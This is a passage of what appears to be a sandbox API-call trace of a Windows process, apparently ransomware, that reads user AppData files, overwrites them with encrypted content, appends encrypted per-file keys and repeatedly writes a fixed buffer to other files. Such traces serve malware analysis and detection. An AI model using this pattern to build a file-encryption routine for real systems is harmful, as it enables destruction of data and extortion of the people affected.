lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.325] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.325] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.326] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.326] CloseHandle (hObject=0x14c0) returned 1 [0167.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.328] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0167.328] ReadFile (in: hFile=0x14c0, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.331] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.331] WriteFile (in: hFile=0x14c0, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.332] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.332] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.332] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.332] CloseHandle (hObject=0x14c0) returned 1 [0167.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.334] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0167.335] ReadFile (in: hFile=0x14c0, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.511] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.511] WriteFile (in: hFile=0x14c0, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.512] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.512] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.512] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.513] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.513] CloseHandle (hObject=0x14c0) returned 1 [0167.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.514] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0167.515] ReadFile (in: hFile=0x14c0, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.515] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.515] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.515] SetFilePointer (in: hFile=0x14c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.516] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.517] WriteFile (in: hFile=0x14c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.517] CloseHandle (hObject=0x14c0) returned 1 [0167.519] WriteFile (in: hFile=0x14cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.520] CloseHandle (hObject=0x14cc) returned 1 [0167.521] WriteFile (in: hFile=0x14cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.522] CloseHandle (hObject=0x14cc) returned 1 [0167.523] WriteFile (in: hFile=0x14cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.524] CloseHandle (hObject=0x14cc) returned 1 [0167.525] WriteFile (in: hFile=0x14e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.526] CloseHandle (hObject=0x14e0) returned 1 [0167.527] WriteFile (in: hFile=0x14e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.528] CloseHandle (hObject=0x14e0) returned 1 [0167.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0167.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", dwFileAttributes=0x80) returned 1 [0167.529] ReadFile (in: hFile=0x14e0, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x9c00, lpOverlapped=0x0) returned 1 [0167.590] SetFilePointer (in: hFile=0x14e0, lDistanceToMove=-39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.590] WriteFile (in: hFile=0x14e0, lpBuffer=0x30dac30*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dac30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9c00, lpOverlapped=0x0) returned 1 [0167.591] SetFilePointer (in: hFile=0x14e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9c00 [0167.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.591] WriteFile (in: hFile=0x14e0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.592] WriteFile (in: hFile=0x14e0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.592] CloseHandle (hObject=0x14e0) returned 1 [0167.640] WriteFile (in: hFile=0x14e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.641] CloseHandle (hObject=0x14e4) returned 1 [0167.642] WriteFile (in: hFile=0x14e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.643] CloseHandle (hObject=0x14e8) returned 1 [0167.643] WriteFile (in: hFile=0x14e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.644] CloseHandle (hObject=0x14e8) returned 1 [0167.644] WriteFile (in: hFile=0x14e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.645] CloseHandle (hObject=0x14e8) returned 1 [0167.645] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.645] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0167.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties", dwFileAttributes=0x80) returned 1 [0167.646] ReadFile (in: hFile=0x14e8, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x2e9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e9, lpOverlapped=0x0) returned 1 [0167.699] SetFilePointer (in: hFile=0x14e8, lDistanceToMove=-745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.699] WriteFile (in: hFile=0x14e8, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e9, lpOverlapped=0x0) returned 1 [0167.700] SetFilePointer (in: hFile=0x14e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e9 [0167.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.700] WriteFile (in: hFile=0x14e8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.701] WriteFile (in: hFile=0x14e8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.701] CloseHandle (hObject=0x14e8) returned 1 [0167.703] WriteFile (in: hFile=0x14ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.704] CloseHandle (hObject=0x14ec) returned 1 [0167.704] WriteFile (in: hFile=0x14ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.705] CloseHandle (hObject=0x14ec) returned 1 [0167.707] WriteFile (in: hFile=0x14ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.708] CloseHandle (hObject=0x14ec) returned 1 [0167.708] WriteFile (in: hFile=0x14ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.709] CloseHandle (hObject=0x14ec) returned 1 [0167.709] WriteFile (in: hFile=0x14f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.710] CloseHandle (hObject=0x14f0) returned 1 [0167.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0167.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", dwFileAttributes=0x80) returned 1 [0167.711] ReadFile (in: hFile=0x14f4, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.711] SetFilePointer (in: hFile=0x14f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.711] WriteFile (in: hFile=0x14f4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0167.711] SetFilePointer (in: hFile=0x14f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0167.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.712] WriteFile (in: hFile=0x14f4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.712] WriteFile (in: hFile=0x14f4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.713] CloseHandle (hObject=0x14f4) returned 1 [0167.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml", dwFileAttributes=0x80) returned 1 [0167.734] ReadFile (in: hFile=0x14fc, lpBuffer=0x32ee008, nNumberOfBytesToRead=0x4949, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32ee008*, lpNumberOfBytesRead=0x2e1f9bc*=0x4949, lpOverlapped=0x0) returned 1 [0167.748] SetFilePointer (in: hFile=0x14fc, lDistanceToMove=-18761, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.748] WriteFile (in: hFile=0x14fc, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x4949, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4949, lpOverlapped=0x0) returned 1 [0167.748] SetFilePointer (in: hFile=0x14fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4949 [0167.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.749] WriteFile (in: hFile=0x14fc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.749] WriteFile (in: hFile=0x14fc, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.749] CloseHandle (hObject=0x14fc) returned 1 [0167.751] WriteFile (in: hFile=0x1500, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.752] CloseHandle (hObject=0x1500) returned 1 [0167.753] WriteFile (in: hFile=0x1504, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.754] CloseHandle (hObject=0x1504) returned 1 [0167.755] WriteFile (in: hFile=0x1508, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.756] CloseHandle (hObject=0x1508) returned 1 [0167.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0167.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", dwFileAttributes=0x80) returned 1 [0167.756] ReadFile (in: hFile=0x1508, lpBuffer=0x2e201e0, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201e0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa, lpOverlapped=0x0) returned 1 [0167.757] SetFilePointer (in: hFile=0x1508, lDistanceToMove=-10, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.757] WriteFile (in: hFile=0x1508, lpBuffer=0x2e20150*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20150*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa, lpOverlapped=0x0) returned 1 [0167.758] SetFilePointer (in: hFile=0x1508, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa [0167.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.758] WriteFile (in: hFile=0x1508, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.758] WriteFile (in: hFile=0x1508, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.758] CloseHandle (hObject=0x1508) returned 1 [0167.761] WriteFile (in: hFile=0x1510, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, 